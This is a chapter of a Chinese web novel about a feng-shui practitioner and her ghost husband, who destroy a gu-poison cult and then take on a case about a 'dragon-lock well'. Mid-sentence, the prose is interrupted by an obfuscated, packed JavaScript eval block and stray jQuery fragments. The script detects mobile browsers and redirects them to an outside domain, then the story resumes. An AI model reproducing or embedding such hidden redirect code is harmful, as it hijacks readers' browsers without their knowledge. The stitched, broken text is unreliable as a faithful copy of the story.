48. 嫁衣蛊(四)

作品:《和鬼君的婚后日常

    青铜柱上的镇魂咒泛着幽光,洞穴深处传来水流击打石壁的闷响。林知夏的桃木剑贯穿蛊王身躯,金银双色血液溅在祭坛青砖上,竟腐蚀出蛛网状的焦痕。


    幽冥火在洞穴石壁上投下摇曳的阴影,阿兰蜷缩在青铜柱下的身影像是被抽去骨头的蛇。她耳垂的银蝴蝶早已熔成铁水,腕间游走的蛊虫正被龙骨威压碾成齑粉。林知夏的桃木剑抵在她咽喉三寸处,剑尖凝着的龙气灼得空气滋滋作响。


    “蛊王反噬的滋味如何?”林知夏甩落桃木剑上的虫尸,“用活人养蛊时,想过会被自己的本命蛊啃噬吗?”


    “你们根本不懂……”阿兰突然咯咯笑起来,腐烂的牙龈渗出黑血,“今天本该是蛊王大成之日,整个寨子都能跳出轮回,这是祖祖辈辈求了三百年的夙愿!”


    “所以你就要把同学都炼成蛊?”林知夏打断她,剑尖挑起地上褪色的合照,“晓曼她们做错了什么?”


    洞顶坠下碎石,青铜柱发出令人牙酸的扭曲声。宴清揽住林知夏后撤半步,幽冥火顺着地缝烧出北斗星图:“娘子与将死之人废什么话。”


    阿兰的身体突然膨胀如球,数十条金银蛊虫破体而出。


    “以身为皿……”林知夏攥紧桃木剑,眉心紧拧,“她这是要同归于尽!”


    鎏金瞳孔映着逐渐畸变的肉瘤,晏清广袖翻卷带起一层霜雪:“垂死挣扎。”玄色锦袍扫过祭坛边缘,幽冥火凝成的锁链缠住九根青铜柱。墨玉戒腾起青龙虚影,龙吟声起,震得洞壁簌簌落灰。林知夏默契地咬破指尖,血珠顺着桃木剑身绘出二十八宿镇煞符。


    “天地玄宗,万炁本根!”


    金光与幽冥火交融的刹那,蛊虫发出婴儿啼哭般的惨叫。


    阿兰嘶哑的吼叫混着蛊虫振翅声:“你们毁了我二十年心血——”


    “用活人饲蛊也配称心血?”林知夏甩出五帝钱封住东南巽位,黄铜磁针吸住地脉阴气,“今天我就替你那些‘伴娘’讨个公道!”


    阿兰瞳孔骤缩,腐烂的嘴唇张合着吐出苗语诅咒。宴清忽然贴到林知夏身后,修长指节抚过她执剑的手背,玄色衣袖翻卷,幽冥火顺着木剑窜入阿兰七窍,将那些恶毒诅咒顷刻烧成青烟。


    阿兰的身躯在龙气中化作血雾,最后竟只剩半枚银项圈坠地,发出清脆的叮咚声。


    凄厉惨叫的尾音中,林知夏看见四个女孩的虚影从蛊虫残骸里升起。她们手腕相连的银镯如碎星闪烁,反射着月光柔和的晕色:「谢谢……」名叫晓曼的姑娘朝她微笑,下一瞬魂体化作流萤没入地脉。


    洞穴重归寂静,林知夏有些怅然若失,鲜活的生命就这样逝去,她们的人生将将开始,却在最美好的年华戛然而止,只因认识了不该认识的人,就此遭遇世间最痛苦的折磨。


    宴清把玩着那截龙骨,暗金纹路在他掌心游走,渐渐凝成指节形状。见她扁着嘴怏怏不乐,将龙骨指节按进她掌心,龙气顺着手腕经络游走时带来酥麻触感,“娘子可知,这是何处偷来的龙脉?”


    林知夏回神,盯着他指缝间漏下的龙气,“偷?”


    想起黄河第三道弯的镇河铁牛:“不会又是锁龙井吧?”


    “聪明。”宴清突然将她抵在青铜柱上,唇边带着讥讽的笑意,“早年有人仿造锁龙井布阵,这截龙骨应是盗取而来。”他说话时气息拂过她颈侧,激起一片细小疙瘩。


    林知夏本能地后仰,后脑勺却撞上他提前垫着的手掌:“刚刚那个阿兰说祖祖辈辈求了三百年,他们……是用龙骨仿造的锁龙井从而操纵这里的龙脉走势,窃取气运?”


    “操纵?”宴清低笑出声,指尖勾起她一缕发丝缠绕,“龙脉乃天地造化,岂是凡人能控?不过是些痴心妄想的蝼蚁……”鎏金竖瞳忽然贴近,唇瓣相贴的触感比龙骨更灼人,“就像娘子此刻心跳,为夫也操纵不得。”


    林知夏:“……”


    林知夏无语的瞪他一眼,“说正经的,能不能不要动不动就扯到不正经的事情上!”


    她刚说完,手中龙骨突然化作流光钻入墨玉戒中,林知夏攥着他衣襟的手猛然收紧,墨玉戒开始发烫,并蒂莲纹在指根处竟在此时绽开了第三片花瓣,将两人周身笼在淡金光晕里。


    林知夏有些回不过神,宴清握住她的手,低头在指根第三片花瓣处印下一吻,翩然而笑,“再拿到一根龙骨,就可取黄河古道第三道弯的龙魂了,娘子可开心?”


    林知夏自然是开心的,她眼睛大睁,“真的?”


    宴清颔首,“自然是真。”


    林知夏跟着笑起来,心里的那股郁气倏然散开,总归坏事中有了一件好事。


    晨光穿透云层时,林知夏蹲在那棵已经没了皮的老槐树下,看宴清用幽冥火重塑此处的地脉。原先阴气森森的吊脚楼在晨曦中显出本来面貌,哪有什么村寨?不过是依山而建的悬棺群罢了!


    “难怪要用人饲蛊,还说要跳出轮回,”她摩挲着树皮上褪色的悬棺纹样,“悬棺聚阴,五毒借势,倒是好算计。”


    宴清弹指烧尽最后一丝阴气,过来将人拉起,“走吧。”


    林知夏嗯一声,“刚刚王婶给我打电话,说阿彩已经醒了。”


    宴清笑笑,“总好过全军覆没。”


    林知夏叹气,从帆布包取出五色米撒成往生阵,又摸出张泛黄的往生符:“尘归尘,土归土,奈何桥前莫回顾——”


    宴清:“娘子总是这般心软。”


    林知夏:“简单超个度而已,算什么心软。”又说,“好啦,别叨叨了,我快饿死了,走吧,赶紧回市里,找个地方吃饭睡觉。”


    山风将这一人一鬼的对话渐渐吹散,之余山中那一片寂静阴森的悬棺群伫在那里——


    ***


    暮色漫过林家老宅的滴水檐时,林知夏正蜷在藏书阁的黄花梨官帽椅上打盹。镇纸压着的《林氏风水札记》翻到第三百零七页,泛黄的宣纸上画着幅残缺的星图,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545875|166151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朱砂批注“锁龙井”三字洇着可疑的暗褐色。


    宴清端着青瓷盏进来时,看到的便是这幅画面。少女枕着臂弯的侧脸被夕阳镀上金边,松垮的丸子头垂落几缕碎发,随着呼吸轻扫过古籍上的龙纹拓印。


    “梦到什么了?”他俯身时银发扫过她鼻尖,玄色唐装袖口染着新墨的松香。


    林知夏迷迷糊糊抓住眼前晃动的银丝:“烤蛊虫……”


    宴清哑然失笑,鎏金瞳孔映着她泛红的耳尖:“看来是为夫招待不周。”温热气息拂过她后颈,“不若现在去厨房给娘子备些?”


    “别闹!”林知夏彻底清醒,拍开他要捏自己鼻子的手,揉揉眼睛,“几点了?”边说着拿起手机,“哎呀都快三点了!我二师兄该吃药了!”


    宴清按着她的肩把人按回椅子里,“你师兄是三岁孩童不成?吃个药还需你操心?”


    林知夏:“咱们走的这两天他就没好好吃药,伤口不但不减轻还加重了。”


    宴清:“娘子可知惯子如杀子?”


    林知夏:“哈?”


    宴清:“你这般处处为他操心,与那老妈子何异?你师兄大你十岁,他是无手还是智障?不知吃药对自己好的道理?不过是仗着娘子纵着他,为他兜底恃宠生娇罢了。娘子这样与那惯子如杀子的长辈何异?”


    林知夏:“……有那么严重吗?”


    宴清表情严肃:“自然严重,娘子这样不是为他好,反是害了他,你今后能一直跟在他身边?”


    林知夏:“我师兄平时挺独立的,我们分开这些年他过得也挺好。”


    宴清:“既如此,娘子更不该做那恶人,毁你师兄数年养出的好习性,这与毁人拖后腿何异?”


    林知夏:“……”我以后但凡对我师兄好点是不是都罪大恶极不干好事?


    刚要反驳,接到陈老板电话。


    陈老板在电话那头小心翼翼:“林大师,这边有个朋友出重金,托我引见林家传人。”


    老茶楼的檀香混着龙井清气,穿唐装的老者将紫檀木盒推过茶海:“林大师请看。”盒中泛黄的《营造法式》抄本里,夹着张工笔彩绘图,林知夏只一眼瞳孔骤缩,只见画中井壁二十八星宿图旁赫然标注着“龙骨镇邪”四个小楷。


    “这是我家祖上参与修井时偷画的。”老者指着图中铁牛,“上月施工队挖到了这大东西,第二天就有人昏迷高烧……”他掀起衣袖,腕间青斑形似龙鳞,“去医院查不出毛病,倒是工棚每晚都能听见铁链响。”


    林知夏不动手色的垂下头,手中银勺搅动茶沫,余光扫过晏清在窗边逗弄虎皮鹦鹉的侧影:声音带着股漫不经心,“你怎么确定是风水问题?”


    老者突然压低声音:“那铁牛眼睛会动!”他从公文包摸出手机,监控视频里月光下的铁牛双目泛红,牛角挂着半截青铜链,“更邪门的是……”画面切换到另一个时间点,井口突然漫出黑雾,隐约可见龙形轮廓盘踞。